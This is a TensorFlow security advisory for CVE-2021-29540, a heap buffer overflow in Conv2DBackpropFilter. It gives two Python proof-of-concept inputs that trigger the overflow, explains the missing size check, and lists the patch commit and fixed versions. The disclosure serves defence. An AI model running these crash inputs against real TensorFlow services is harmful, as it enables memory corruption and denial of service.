CVE-2021-29540: Heap buffer overflow in `Conv2DBackpropFilter`

Impact An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

python import tensorflow as tf

inputtensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filtersizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )

Alternatively, passing empty tensors also results in similar behavior:

python import tensorflow as tf

inputtensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filtersizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filtersizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.